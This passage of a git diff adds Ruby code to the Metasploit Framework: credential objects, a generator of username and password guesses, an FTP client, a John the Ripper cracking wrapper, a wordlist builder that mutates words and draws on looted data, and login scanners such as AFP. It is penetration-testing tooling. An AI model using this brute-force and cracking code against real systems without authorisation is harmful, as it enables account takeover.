'active_model' + +module Metasploit + module Framework + # This class provides an in-memory representation of a conceptual Credential + # + # It contains the public, private, and realm if any. + class Credential + include ActiveModel::Validations + + # @!attribute paired + # @return [Boolean] Whether BOTH a public and private are required + # (defaults to `true`) + attr_accessor :paired + # @!attribute parent + # @return [Object] the parent object that had .to_credential called on it to create this object + attr_accessor :parent + # @!attribute private + # The private credential component (e.g. username) + # + # @return [String] if {#paired} is `true` or {#private} is `nil` + # @return [String, nil] if {#paired} is `false` or {#private} is not `nil`. + attr_accessor :private + # @!attribute private_type + # The type of private credential this object represents, e.g. a + # password or an NTLM hash. + # + # @return [String] + attr_accessor :private_type + # @!attribute public + # The public credential component (e.g. password) + # + # @return [String] if {#paired} is `true` or {#public} is `nil` + # @return [String, nil] if {#paired} is `false` or {#public} is not `nil`. + attr_accessor :public + # @!attribute realm + # @return [String,nil] The realm credential component (e.g domain name) + attr_accessor :realm + # @!attribute realm + # @return [String,nil] The type of {#realm} + attr_accessor :realm_key + + validates :paired, + inclusion: { in: [true, false] } + + # If we have no public we MUST have a private (e.g. SNMP Community String) + validates :private, + exclusion: { in: [nil] }, + if: "public.nil? or paired" + + # These values should be #demodularized from subclasses of + # `Metasploit::Credential::Private` + validates :private_type, + inclusion: { in: [ :password, :ntlm_hash, :ssh_key ] }, + if: "private_type.present?" + + # If we have no private we MUST have a public + validates :public, + presence: true, + if: "private.nil? or paired" + + # @param attributes [Hash{Symbol => String,nil}] + def initialize(attributes={}) + attributes.each do |attribute, value| + public_send("#{attribute}=", value) + end + + self.paired = true if self.paired.nil? + end + + def inspect + "#<#{self.class} \"#{self}\" >" + end + + def to_s + if realm && realm_key == Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + "#{self.realm}\\#{self.public}:#{self.private}" + else + "#{self.public}:#{self.private}#{at_realm}" + end + end + + def ==(other) + other.respond_to?(:public) && other.public == self.public && + other.respond_to?(:private) && other.private == self.private && + other.respond_to?(:realm) && other.realm == self.realm + end + + def to_credential + self.parent = self + self + end + + private + + def at_realm + if self.realm.present? + "@#{self.realm}" + else + "" + end + end + end + end +end diff --git a/lib/metasploit/framework/credential_collection.rb b/lib/metasploit/framework/credential_collection.rb new file mode 100644 index 0000000000..74a8774d3e --- /dev/null +++ b/lib/metasploit/framework/credential_collection.rb @@ -0,0 +1,148 @@ +require 'metasploit/framework/credential' + +class Metasploit::Framework::CredentialCollection + + # @!attribute blank_passwords + # Whether each username should be tried with a blank password + # @return [Boolean] + attr_accessor :blank_passwords + + # @!attribute pass_file + # Path to a file containing passwords, one per line + # @return [String] + attr_accessor :pass_file + + # @!attribute password + # @return [String] + attr_accessor :password + + # @!attribute prepended_creds + # List of credentials to be tried before any others + # + # @see #prepend_cred + # @return [Array] + attr_accessor :prepended_creds + + # @!attribute realm + # @return [String] + attr_accessor :realm + + # @!attribute user_as_pass + # Whether each username should be tried as a password for that user + # @return [Boolean] + attr_accessor :user_as_pass + + # @!attribute user_file + # Path to a file containing usernames, one per line + # @return [String] + attr_accessor :user_file + + # @!attribute username + # @return [String] + attr_accessor :username + + # @!attribute userpass_file + # Path to a file containing usernames and passwords separated by a space, + # one pair per line + # @return [String] + attr_accessor :userpass_file + + # @option opts [Boolean] :blank_passwords See {#blank_passwords} + # @option opts [String] :pass_file See {#pass_file} + # @option opts [String] :password See {#password} + # @option opts [Array] :prepended_creds ([]) See {#prepended_creds} + # @option opts [Boolean] :user_as_pass See {#user_as_pass} + # @option opts [String] :user_file See {#user_file} + # @option opts [String] :username See {#username} + # @option opts [String] :userpass_file See {#userpass_file} + def initialize(opts = {}) + opts.each do |attribute, value| + public_send("#{attribute}=", value) + end + self.prepended_creds ||= [] + end + + # Add {Credential credentials} that will be yielded by {#each} + # + # @see prepended_creds + # @param cred [Credential] + # @return [self] + def prepend_cred(cred) + prepended_creds.unshift cred + self + end + + # Combines all the provided credential sources into a stream of {Credential} + # objects, yielding them one at a time + # + # @yieldparam credential [Metasploit::Framework::Credential] + # @return [void] + def each + if pass_file.present? + pass_fd = File.open(pass_file, 'r:binary') + end + + prepended_creds.each { |c| yield c } + + if username.present? + if password.present? + yield Metasploit::Framework::Credential.new(public: username, private: password, realm: realm) + end + if user_as_pass + yield Metasploit::Framework::Credential.new(public: username, private: username, realm: realm) + end + if blank_passwords + yield Metasploit::Framework::Credential.new(public: username, private: "", realm: realm) + end + if pass_fd + pass_fd.each_line do |pass_from_file| + pass_from_file.chomp! + yield Metasploit::Framework::Credential.new(public: username, private: pass_from_file, realm: realm) + end + pass_fd.seek(0) + end + end + + if user_file.present? + File.open(user_file, 'r:binary') do |user_fd| + user_fd.each_line do |user_from_file| + user_from_file.chomp! + if password + yield Metasploit::Framework::Credential.new(public: user_from_file, private: password, realm: realm) + end + if user_as_pass + yield Metasploit::Framework::Credential.new(public: user_from_file, private: user_from_file, realm: realm) + end + if blank_passwords + yield Metasploit::Framework::Credential.new(public: user_from_file, private: "", realm: realm) + end + if pass_fd + pass_fd.each_line do |pass_from_file| + pass_from_file.chomp! + yield Metasploit::Framework::Credential.new(public: user_from_file, private: pass_from_file, realm: realm) + end + pass_fd.seek(0) + end + end + end + end + + if userpass_file.present? + File.open(userpass_file, 'r:binary') do |userpass_fd| + userpass_fd.each_line do |line| + user, pass = line.split(" ", 2) + if pass.blank? + pass = '' + else + pass.chomp! + end + yield Metasploit::Framework::Credential.new(public: user, private: pass, realm: realm) + end + end + end + + ensure + pass_fd.close if pass_fd && !pass_fd.closed? + end + +end diff --git a/lib/metasploit/framework/database.rb b/lib/metasploit/framework/database.rb index 78d3525cf5..4c8f99d4da 100644 --- a/lib/metasploit/framework/database.rb +++ b/lib/metasploit/framework/database.rb @@ -8,7 +8,7 @@ module Metasploit end def self.configurations_pathname - Metasploit::Framework.root.join('config', 'database.yml') + Metasploit::Framework::Application.paths['config/database'].first end end end diff --git a/lib/metasploit/framework/engine.rb b/lib/metasploit/framework/engine.rb new file mode 100644 index 0000000000..95f7127fe3 --- /dev/null +++ b/lib/metasploit/framework/engine.rb @@ -0,0 +1,19 @@ +# +# Gems +# + +require 'rails/engine' + +# +# Project +# + +require 'metasploit/framework/common_engine' + +module Metasploit + module Framework + class Engine < Rails::Engine + include Metasploit::Framework::CommonEngine + end + end +end diff --git a/lib/metasploit/framework/ftp/client.rb b/lib/metasploit/framework/ftp/client.rb new file mode 100644 index 0000000000..a1e3794549 --- /dev/null +++ b/lib/metasploit/framework/ftp/client.rb @@ -0,0 +1,276 @@ +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module Ftp + module Client + include Metasploit::Framework::Tcp::Client + + # + # This method establishes an FTP connection to host and port specified by + # the 'rhost' and 'rport' methods. After connecting, the banner + # message is read in and stored in the 'banner' attribute. + # + def connect(global = true) + fd = super(global) + + @ftpbuff = '' unless @ftpbuff + + # Wait for a banner to arrive... + self.banner = recv_ftp_resp(fd) + + # Return the file descriptor to the caller + fd + end + + # + # This method handles establishing datasocket for data channel + # + def data_connect(mode = nil, nsock = self.sock) + if mode + res = send_cmd([ 'TYPE' , mode ], true, nsock) + return nil if not res =~ /^200/ + end + + # force datasocket to renegotiate + self.datasocket.shutdown if self.datasocket != nil + + res = send_cmd(['PASV'], true, nsock) + return nil if not res =~ /^227/ + + # 227 Entering Passive Mode (127,0,0,1,196,5) + if res =~ /\((\d+)\,(\d+),(\d+),(\d+),(\d+),(\d+)/ + # convert port to FTP syntax + datahost = "#{$1}.#{$2}.#{$3}.#{$4}" + dataport = ($5.to_i * 256) + $6.to_i + self.datasocket = Rex::Socket::Tcp.create('PeerHost' => datahost, 'PeerPort' => dataport) + end + self.datasocket + end + + # + # This method handles disconnecting our data channel + # + def data_disconnect + self.datasocket.shutdown + self.datasocket = nil + end + + # + # Connect and login to the remote FTP server using the credentials + # that have been supplied in the exploit options. + # + def connect_login(user,pass,global = true) + ftpsock = connect(global) + + if !(user and pass) + return false + end + + res = send_user(user, ftpsock) + + if (res !~ /^(331|2)/) + return false + end + + if (pass) + res = send_pass(pass, ftpsock) + if (res !~ /^2/) + return false + end + end + + return true + end + + # + # This method logs in as the supplied user by transmitting the FTP + # 'USER ' command. + # + def send_user(user, nsock = self.sock) + raw_send("USER #{user}\r\n", nsock) + recv_ftp_resp(nsock) + end + + # + # This method completes user authentication by sending the supplied + # password using the FTP 'PASS ' command. + # + def send_pass(pass, nsock = self.sock) + raw_send("PASS #{pass}\r\n", nsock) + recv_ftp_resp(nsock) + end + + # + # This method sends a QUIT command. + # + def send_quit(nsock = self.sock) + raw_send("QUIT\r\n", nsock) + recv_ftp_resp(nsock) + end + + # + # This method sends one command with zero or more parameters + # + def send_cmd(args, recv = true, nsock = self.sock) + cmd = args.join(" ") + "\r\n" + ret = raw_send(cmd, nsock) + if (recv) + return recv_ftp_resp(nsock) + end + return ret + end + + # + # This method transmits the command in args and receives / uploads DATA via data channel + # For commands not needing data, it will fall through to the original send_cmd + # + # For commands that send data only, the return will be the server response. + # For commands returning both data and a server response, an array will be returned. + # + # NOTE: This function always waits for a response from the server. + # + def send_cmd_data(args, data, mode = 'a', nsock = self.sock) + type = nil + # implement some aliases for various commands + if (args[0] =~ /^DIR$/i || args[0] =~ /^LS$/i) + # TODO || args[0] =~ /^MDIR$/i || args[0] =~ /^MLS$/i + args[0] = "LIST" + type = "get" + elsif (args[0] =~ /^GET$/i) + args[0] = "RETR" + type = "get" + elsif (args[0] =~ /^PUT$/i) + args[0] = "STOR" + type = "put" + end + + # fall back if it's not a supported data command + if not type + return send_cmd(args, true, nsock) + end + + # Set the transfer mode and connect to the remove server + return nil if not data_connect(mode) + + # Our pending command should have got a connection now. + res = send_cmd(args, true, nsock) + # make sure could open port + return nil unless res =~ /^(150|125) / + + # dispatch to the proper method + if (type == "get") + # failed listings jsut disconnect.. + begin + data = self.datasocket.get_once(-1, ftp_timeout) + rescue ::EOFError + data = nil + end + else + sent = self.datasocket.put(data) + end + + # close data channel so command channel updates + data_disconnect + + # get status of transfer + ret = nil + if (type == "get") + ret = recv_ftp_resp(nsock) + ret = [ ret, data ] + else + ret = recv_ftp_resp(nsock) + end + + ret + end + + # + # This method transmits a FTP command and waits for a response. If one is + # received, it is returned to the caller. + # + def raw_send_recv(cmd, nsock = self.sock) + nsock.put(cmd) + nsock.get_once(-1, ftp_timeout) + end + + # + # This method reads an FTP response based on FTP continuation stuff + # + def recv_ftp_resp(nsock = self.sock) + found_end = false + resp = "" + left = "" + if !@ftpbuff.empty? + left << @ftpbuff + @ftpbuff = "" + end + while true + data = nsock.get_once(-1, ftp_timeout) + if not data + @ftpbuff << resp + @ftpbuff << left + return data + end + + got = left + data + left = "" + + # handle the end w/o newline case + enlidx = got.rindex(0x0a.chr) + if enlidx != (got.length-1) + if not enlidx + left << got + next + else + left << got.slice!((enlidx+1)..got.length) + end + end + + # split into lines + rarr = got.split(/\r?\n/) + rarr.each do |ln| + if not found_end + resp << ln + resp << "\r\n" + if ln.length > 3 and ln[3,1] == ' ' + found_end = true + end + else + left << ln + left << "\r\n" + end + end + if found_end + @ftpbuff << left + return resp + end + end + end + + # + # This method transmits a FTP command and does not wait for a response + # + def raw_send(cmd, nsock = self.sock) + nsock.put(cmd) + end + + def ftp_timeout + raise NotImplementedError + end + + + + protected + + # + # This attribute holds the banner that was read in after a successful call + # to connect or connect_login. + # + attr_accessor :banner, :datasocket + + + end + end + end +end diff --git a/lib/metasploit/framework/jtr/cracker.rb b/lib/metasploit/framework/jtr/cracker.rb new file mode 100644 index 0000000000..52cd44ff7f --- /dev/null +++ b/lib/metasploit/framework/jtr/cracker.rb @@ -0,0 +1,272 @@ +module Metasploit + module Framework + module JtR + + class JohnNotFoundError < StandardError + end + + class Cracker + include ActiveModel::Validations + + # @!attribute config + # @return [String] The path to an optional config file for John to use + attr_accessor :config + + # @!attribute format + # @return [String] The hash format to try + attr_accessor :format + + # @!attribute hash_path + # @return [String] The path to the file containing the hashes + attr_accessor :hash_path + + # @!attribute incremental + # @return [String] The incremental mode to use + attr_accessor :incremental + + # @!attribute john_path + # This attribute allows the user to specify a john binary to use. + # If not supplied, the Cracker will search the PATH for a suitable john binary + # and finally fall back to the pre-compiled versions shipped with Metasploit. + # + # @return [String] The file path to an alternative John binary to use + attr_accessor :john_path + + # @!attribute max_runtime + # @return [Fixnum] An optional maximum duration of the cracking attempt in seconds + attr_accessor :max_runtime + + # @!attribute pot + # @return [String] The file path to an alternative John pot file to use + attr_accessor :pot + + # @!attribute rules + # @return [String] The wordlist mangling rules to use inside John + attr_accessor :rules + + # @!attribute wordlist + # @return [String] The file path to the wordlist to use + attr_accessor :wordlist + + validates :config, :'Metasploit::Framework::File_path' => true, if: 'config.present?' + + validates :hash_path, :'Metasploit::Framework::File_path' => true, if: 'hash_path.present?' + + validates :john_path, :'Metasploit::Framework::Executable_path' => true, if: 'john_path.present?' + + validates :pot, :'Metasploit::Framework::File_path' => true, if: 'pot.present?' + + validates :max_runtime, + numericality: { + only_integer: true, + greater_than_or_equal_to: 0 + }, if: 'max_runtime.present?' + + validates :wordlist, :'Metasploit::Framework::File_path' => true, if: 'wordlist.present?' + + # @param attributes [Hash{Symbol => String,nil}] + def initialize(attributes={}) + attributes.each do |attribute, value| + public_send("#{attribute}=", value) + end + end + + # This method follows a decision tree to determine the path + # to the John the Ripper binary we should use. + # + # @return [NilClass] if a binary path could not be found + # @return [String] the path to the selected JtR binary + def binary_path + # Always prefer a manually entered path + if john_path && ::File.file?(john_path) + bin_path = john_path + else + # Look in the Environment PATH for the john binary + path = Rex::FileUtils.find_full_path("john") || + Rex::FileUtils.find_full_path("john.exe") + + if path && ::File.file?(path) + bin_path = path + else + # If we can't find john anywhere else, look at our precompiled binaries + bin_path = select_shipped_binary + end + end + raise JohnNotFoundError, 'No suitable John binary was found on the system' if bin_path.blank? + bin_path + end + + # This method runs the command from {#crack_command} and yields each line of output. + # + # @yield [String] a line of output from the john command + # @return [void] + def crack + ::IO.popen(crack_command, "rb") do |fd| + fd.each_line do |line| + yield line + end + end + end + + # This method builds an array for the command to actually run the cracker. + # It builds the command from all of the attributes on the class. + # + # @raise [JohnNotFoundError] if a suitable John binary was never found + # @return [Array] An array set up for {::IO.popen} to use + def crack_command + cmd_string = binary_path + cmd = [ cmd_string, '--session=' + john_session_id, '--nolog' ] + + if config.present? + cmd << ( "--config=" + config ) + else + cmd << ( "--config=" + john_config_file ) + end + + if pot.present? + cmd << ( "--pot=" + pot ) + else + cmd << ( "--pot=" + john_pot_file) + end + + if format.present? + cmd << ( "--format=" + format ) + end + + if wordlist.present? + cmd << ( "--wordlist=" + wordlist ) + end + + if incremental.present? + cmd << ( "--incremental=" + incremental ) + end + + if rules.present? + cmd << ( "--rules=" + rules ) + end + + if max_runtime.present? + cmd << ( "--max-run-time=" + max_runtime.to_s) + end + + cmd << hash_path + end + + # This runs the show command in john and yields cracked passwords. + # + # @yield [String] the output lines from the command + # @return [void] + def each_cracked_password + ::IO.popen(show_command, "rb") do |fd| + fd.each_line do |line| + yield line + end + end + end + + # This method returns the path to a default john.conf file. + # + # @return [String] the path to the default john.conf file + def john_config_file + ::File.join( ::Msf::Config.data_directory, "john", "confs", "john.conf" ) + end + + # This method returns the path to a default john.pot file. + # + # @return [String] the path to the default john.pot file + def john_pot_file + ::File.join( ::Msf::Config.config_directory, "john.pot" ) + end + + # This method is a getter for a random Session ID for John. + # It allows us to dinstiguish between cracking sessions. + # + # @ return [String] the Session ID to use + def john_session_id + @session_id ||= ::Rex::Text.rand_text_alphanumeric(8) + end + + # This method builds the command to show the cracked passwords. + # + # @raise [JohnNotFoundError] if a suitable John binary was never found + # @return [Array] An array set up for {::IO.popen} to use + def show_command + cmd_string = binary_path + + pot_file = pot || john_pot_file + cmd = [cmd_string, "--show", "--pot=#{pot_file}", "--format=#{format}" ] + + if config + cmd << "--config=#{config}" + else + cmd << ( "--config=" + john_config_file ) + end + + cmd << hash_path + end + + private + + # This method tries to identify the correct version of the pre-shipped + # JtR binaries to use based on the platform. + # + # @return [NilClass] if the correct binary could not be determined + # @return [String] the path to the selected binary + def select_shipped_binary + cpuinfo_base = ::File.join(Msf::Config.data_directory, "cpuinfo") + run_path = nil + if File.directory?(cpuinfo_base) + data = nil + + case ::RUBY_PLATFORM + when /mingw|cygwin|mswin/ + fname = "#{cpuinfo_base}/cpuinfo.exe" + if File.exists?(fname) and File.executable?(fname) + data = %x{"#{fname}"} rescue nil + end + case data + when /sse2/ + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.win32.sse2", "john.exe") + when /mmx/ + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.win32.mmx", "john.exe") + else + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.win32.any", "john.exe") + end + when /x86_64-linux/ + fname = "#{cpuinfo_base}/cpuinfo.ia64.bin" + if File.exists? fname + ::FileUtils.chmod(0755, fname) rescue nil + data = %x{"#{fname}"} rescue nil + end + case data + when /mmx/ + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.linux.x64.mmx", "john") + else + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.linux.x86.any", "john") + end + when /i[\d]86-linux/ + fname = "#{cpuinfo_base}/cpuinfo.ia32.bin" + if File.exists? fname + ::FileUtils.chmod(0755, fname) rescue nil + data = %x{"#{fname}"} rescue nil + end + case data + when /sse2/ + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.linux.x86.sse2", "john") + when /mmx/ + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.linux.x86.mmx", "john") + else + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.linux.x86.any", "john") + end + end + end + run_path + end + + + + end + + end + end +end diff --git a/lib/metasploit/framework/jtr/invalid_wordlist.rb b/lib/metasploit/framework/jtr/invalid_wordlist.rb new file mode 100644 index 0000000000..edf91b9505 --- /dev/null +++ b/lib/metasploit/framework/jtr/invalid_wordlist.rb @@ -0,0 +1,20 @@ +module Metasploit + module Framework + module JtR + + # This class is the generic Exception raised by a {Wordlist} when + # it fails validation. It rolls up all validation errors into a + # single exception so that all errors can be dealt with at once. + class InvalidWordlist < StandardError + attr_reader :model + + def initialize(model) + @model = model + + errors = @model.errors.full_messages.join(', ') + super(errors) + end + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/jtr/wordlist.rb b/lib/metasploit/framework/jtr/wordlist.rb new file mode 100644 index 0000000000..1b8a395eef --- /dev/null +++ b/lib/metasploit/framework/jtr/wordlist.rb @@ -0,0 +1,429 @@ +require 'metasploit/framework/jtr/invalid_wordlist' + +module Metasploit + module Framework + module JtR + + class Wordlist + include ActiveModel::Validations + + # A mapping of the mutation substitution rules + MUTATIONS = { + '@' => 'a', + '0' => 'o', + '3' => 'e', + '$' => 's', + '7' => 't', + '1' => 'l', + '5' => 's' + } + + # @!attribute appenders + # @return [Array] an array of strings to append to each word + attr_accessor :appenders + + # @!attribute custom_wordlist + # @return [String] the path to a custom wordlist file to include + attr_accessor :custom_wordlist + + # @!attribute mutate + # @return [TrueClass] if you want each word mutated as it is added + # @return [FalseClass] if you do not want each word mutated + attr_accessor :mutate + + # @!attribute prependers + # @return [Array] an array of strings to prepend to each word + attr_accessor :prependers + + # @!attribute use_common_root + # @return [TrueClass] if you want to use the common root words wordlist + # @return [FalseClass] if you do not want to use the common root words wordlist + attr_accessor :use_common_root + + # @!attribute use_creds + # @return [TrueClass] if you want to seed the wordlist with existing credential data from the database + # @return [FalseClass] if you do not want to seed the wordlist with existing credential data from the database + attr_accessor :use_creds + + # @!attribute use_db_info + # @return [TrueClass] if you want to seed the wordlist with looted database names and schemas + # @return [FalseClass] if you do not want to seed the wordlist with looted database names and schemas + attr_accessor :use_db_info + + # @!attribute use_default_wordlist + # @return [TrueClass] if you want to use the default wordlist + # @return [FalseClass] if you do not want to use the default wordlist + attr_accessor :use_default_wordlist + + # @!attribute use_hostnames + # @return [TrueClass] if you want to seed the wordlist with existing hostnames from the database + # @return [FalseClass] if you do not want to seed the wordlist with existing hostnames from the database + attr_accessor :use_hostnames + + # @!attribute workspace + # @return [Mdm::Workspace] the workspace this cracker is for. + attr_accessor :workspace + + validates :custom_wordlist, :'Metasploit::Framework::File_path' => true, if: 'custom_wordlist.present?' + + validates :mutate, + inclusion: { in: [true, false], message: "must be true or false" } + + + validates :use_common_root, + inclusion: { in: [true, false], message: "must be true or false" } + + validates :use_creds, + inclusion: { in: [true, false], message: "must be true or false" } + + validates :use_db_info, + inclusion: { in: [true, false], message: "must be true or false" } + + validates :use_default_wordlist, + inclusion: { in: [true, false], message: "must be true or false" } + + validates :use_hostnames, + inclusion: { in: [true, false], message: "must be true or false" } + + validates :workspace, + presence: true + + # @param attributes [Hash{Symbol => String,nil}] + def initialize(attributes={}) + attributes.each do |attribute, value| + public_send("#{attribute}=", value) + end + @appenders ||= [] + @prependers ||= [] + end + + # This method takes a word, and appends each word from the appenders list + # and yields the new words. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_appended_word(word='') + yield word + appenders.each do |suffix| + yield "#{word}#{suffix}" + end + end + + # This method checks all the attributes set on the object and calls + # the appropriate enumerators for each option and yields the results back + # up the call-chain. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_base_word + # Make sure are attributes are all valid first! + valid! + + # Yield the expanded form of each line of the custom wordlist if one was given + if custom_wordlist.present? + each_custom_word do |word| + yield word unless word.blank? + end + end + + # Yield each word from the common root words list if it was selected + if use_common_root + each_root_word do |word| + yield word unless word.blank? + end + end + + # If the user has selected use_creds we yield each password, username, and realm name + # that currently exists in the database. + if use_creds + each_cred_word do |word| + yield word unless word.blank? + end + end + + if use_db_info + each_database_word do |word| + yield word unless word.blank? + end + end + + if use_default_wordlist + each_default_word do |word| + yield word unless word.blank? + end + end + + if use_hostnames + each_hostname_word do |word| + yield word unless word.blank? + end + end + + end + + # This method searches all saved Credentials in the database + # and yields all passwords, usernames, and realm names it finds. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_cred_word + # We don't want all Private types here. Only Passwords make sense for inclusion in the wordlist. + Metasploit::Credential::Password.all.each do |password| + yield password.data + end + + Metasploit::Credential::Public.all.each do |public| + yield public.username + end + + Metasploit::Credential::Realm.all.each do |realm| + yield realm.value + end + end + + # This method reads the file provided as custom_wordlist and yields + # the expanded form of each word in the list. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_custom_word + ::File.open(custom_wordlist, "rb") do |fd| + fd.each_line do |line| + expanded_words(line) do |word| + yield word + end + end + end + end + + # This method searches the notes in the current workspace + # for DB instance names, database names, table names, and + # column names gathered from live database servers. It yields + # each one that it finds. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_database_word + # Yield database, table and column names from any looted database schemas + workspace.notes.where('ntype like ?', '%.schema%').each do |note| + expanded_words(note.data['DBName']) do |word| + yield word + end + + note.data['Tables'].each do |table| + expanded_words(table['TableName']) do |word| + yield word + end + + table['Columns'].each do |column| + expanded_words(column['ColumnName']) do |word| + yield word + end + end + end + end + + # Yield any capture MSSQL Instance names + workspace.notes.find(:all, :conditions => ['ntype=?', 'mssql.instancename']).each do |note| + expanded_words(note.data['InstanceName']) do |word| + yield word + end + end + end + + # This method yields expanded words taken from the default john + # wordlist that we ship in the data directory. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_default_word + ::File.open(default_wordlist_path, "rb") do |fd| + fd.each_line do |line| + expanded_words(line) do |word| + yield word + end + end + end + end + + # This method yields the expanded words out of all the hostnames + # found in the current workspace. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_hostname_word + workspace.hosts.all.each do |host| + unless host.name.nil? + expanded_words(host.name) do |word| + yield nil + end + end + end + end + + # This method checks to see if the user asked for mutations. If mutations + # have been enabled, then it creates all the unique mutations and yields + # each result. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_mutated_word(word='') + mutants = [ ] + + # Run the mutations only if the option is set + if mutate + mutants = mutants + mutate_word(word) + end + + mutants << word + mutants.uniq.each do |mutant| + yield mutant + end + end + + # This method takes a word, and prepends each word from the prependers list + # and yields the new words. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_prepended_word(word='') + yield word + prependers.each do |prefix| + yield "#{prefix}#{word}" + end + end + + # This method reads the common_roots.txt wordlist + # expands any words in the list and yields them. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_root_word + ::File.open(common_root_words_path, "rb") do |fd| + fd.each_line do |line| + expanded_words(line) do |word| + yield word + end + end + end + end + + # This method wraps around all the other enumerators. It processes + # all of the options and yields each word generated by the options + # selected. + # + # @yieldparam word [String] the word to write out to the wordlist file + # @return [void] + def each_word + each_base_word do |base_word| + each_mutated_word(base_word) do |mutant| + each_prepended_word(mutant) do |prepended| + yield prepended + end + + each_appended_word(mutant) do |appended| + yield appended + end + end + end + end + + # This method takes a string and splits it on non-word characters + # and the underscore. It does this to find likely distinct words + # in the string. It then yields each 'word' found this way. + # + # @param word [String] the string to split apart + # @yieldparam expanded [String] the expanded words + # @return [void] + def expanded_words(word='') + word.split(/[\W_]+/).each do |expanded| + yield expanded + end + end + + # This method takes a word and applies various mutation rules to that word + # and returns an array of all the mutated forms. + # + # @param word [String] the word to apply the mutations to + # @return [Array] An array containing all the mutated forms of the word + def mutate_word(word) + results = [] + # Iterate through combinations to create each possible mutation + mutation_keys.each do |iteration| + next if iteration.flatten.empty? + intermediate = word.dup + subsititutions = iteration.collect { |key| MUTATIONS[key] } + intermediate.tr!(subsititutions.join, iteration.join) + results << intermediate + end + results.flatten.uniq + end + + # A getter for a memoized version fo the mutation keys list + # + # @return [Array] a 2D array of all mutation combinations + def mutation_keys + @mutation_keys ||= generate_mutation_keys + end + + # This method takes all the options provided and streams the generated wordlist out + # to a {Rex::Quickfile} and returns the {Rex::Quickfile}. + # + # @return [Rex::Quickfile] The {Rex::Quickfile} object that the wordlist has been written to + def to_file + valid! + wordlist_file = Rex::Quickfile.new("jtrtmp") + each_word do |word| + wordlist_file.puts word + end + wordlist_file + end + + # Raise an exception if the attributes are not valid. + # + # @raise [Invalid] if the attributes are not valid on this scanner + # @return [void] + def valid! + unless valid? + raise Metasploit::Framework::JtR::InvalidWordlist.new(self) + end + nil + end + + + + private + + # This method returns the path to the common_roots.txt wordlist + # + # @return [String] the file path to the common_roots.txt file + def common_root_words_path + ::File.join(Msf::Config.data_directory, 'john', 'wordlists', 'common_roots.txt') + end + + # This method returns the path to the passwords.lst wordlist + # + # @return [String] the file path to the passwords.lst file + def default_wordlist_path + ::File.join(Msf::Config.data_directory, 'john', 'wordlists', 'password.lst') + end + + def generate_mutation_keys + iterations = MUTATIONS.keys.dup + + # Find PowerSet of all possible mutation combinations + iterations.inject([[]]) do |accumulator,mutation_key| + power_set = [] + accumulator.each do |i| + power_set << i + power_set << i+[mutation_key] + end + power_set + end + end + + end + + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/login_scanner.rb b/lib/metasploit/framework/login_scanner.rb new file mode 100644 index 0000000000..1730977b7a --- /dev/null +++ b/lib/metasploit/framework/login_scanner.rb @@ -0,0 +1,47 @@ +require 'metasploit/framework/credential' + +module Metasploit + module Framework + # This module provides the namespace for all LoginScanner classes. + # LoginScanners are the classes that provide functionality for testing + # authentication against various different protocols and mechanisms. + module LoginScanner + require 'metasploit/framework/login_scanner/result' + require 'metasploit/framework/login_scanner/invalid' + + # Gather a list of LoginScanner classes that can potentially be + # used for a given `service`, which should usually be an + # `Mdm::Service` object, but can be anything that responds to + # #name and #port. + # + # @param service [Mdm::Service,#port,#name] + # @return [Array] A collection of LoginScanner + # classes that will probably give useful results when run + # against `service`. + def self.classes_for_service(service) + + unless @required + # Make sure we've required all the scanner classes + dir = File.expand_path("../login_scanner/", __FILE__) + Dir.glob(File.join(dir, "*.rb")).each do |f| + require f if File.file?(f) + end + @required = true + end + + self.constants.map{|sym| const_get(sym)}.select do |const| + next unless const.kind_of?(Class) + + ( + const.const_defined?(:LIKELY_PORTS) && + const.const_get(:LIKELY_PORTS).include?(service.port) + ) || ( + const.const_defined?(:LIKELY_SERVICE_NAMES) && + const.const_get(:LIKELY_SERVICE_NAMES).include?(service.name) + ) + end + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/afp.rb b/lib/metasploit/framework/login_scanner/afp.rb new file mode 100644 index 0000000000..73d6f59294 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/afp.rb @@ -0,0 +1,50 @@ +require 'metasploit/framework/tcp/client' +require 'metasploit/framework/afp/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with Apple Filing + # Protocol. + class AFP + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + include Metasploit::Framework::AFP::Client + + DEFAULT_PORT = 548 + LIKELY_PORTS = [ DEFAULT_PORT ] + LIKELY_SERVICE_NAMES = [ "afp" ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # @!attribute login_timeout + # @return [Integer] Number of seconds to wait before giving up + attr_accessor :login_timeout + + def attempt_login(credential) + begin + connect + rescue Rex::ConnectionError, EOFError, Timeout::Error + status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + else + success = login(credential.public, credential.private) + status = (success == true) ? Metasploit::Model::Login::Status::SUCCESSFUL : Metasploit::Model::Login::Status::INCORRECT + end + + Result.new(credential: credential, status: status) + end + + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/axis2.rb b/lib/metasploit/framework/login_scanner/axis2.rb new file 